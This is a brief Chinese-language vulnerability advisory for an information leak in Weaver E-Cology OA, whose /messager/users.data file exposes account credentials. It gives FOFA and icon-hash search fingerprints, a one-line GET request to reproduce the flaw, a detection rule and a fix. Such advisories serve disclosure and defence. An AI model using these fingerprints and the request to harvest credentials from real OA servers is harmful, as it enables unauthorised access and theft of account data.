泛微OA E-Cology /messager/users.data 信息泄漏漏洞

泛微OA E-Cology /messager/users.data 信息泄漏漏洞

漏洞描述

泛微OA E-Cology users.data 允许任意用户下载，获取OA中的敏感信息如账号密码。

威胁等级: 高危

漏洞分类: 信息泄露

涉及厂商及产品：上海泛微网络科技股份有限公司:泛微e-Cology

应用指纹及检出思路

存在二次开发的可能

匹配源代码接口 存在关键字ecology 即可

fofa：app="泛微-协同办公OA"

icon: icon_hash="1578525679"

漏洞复现

GET /messager/users.data HTTP/1.1
Host:

base64 GBK解码

检测思路

状态码:200

对body体进行base64解码后匹配

contains(base64_decode(body),"") &&

contains(base64_decode(body),"")

修复建议

设置访问控制策略，禁用此接口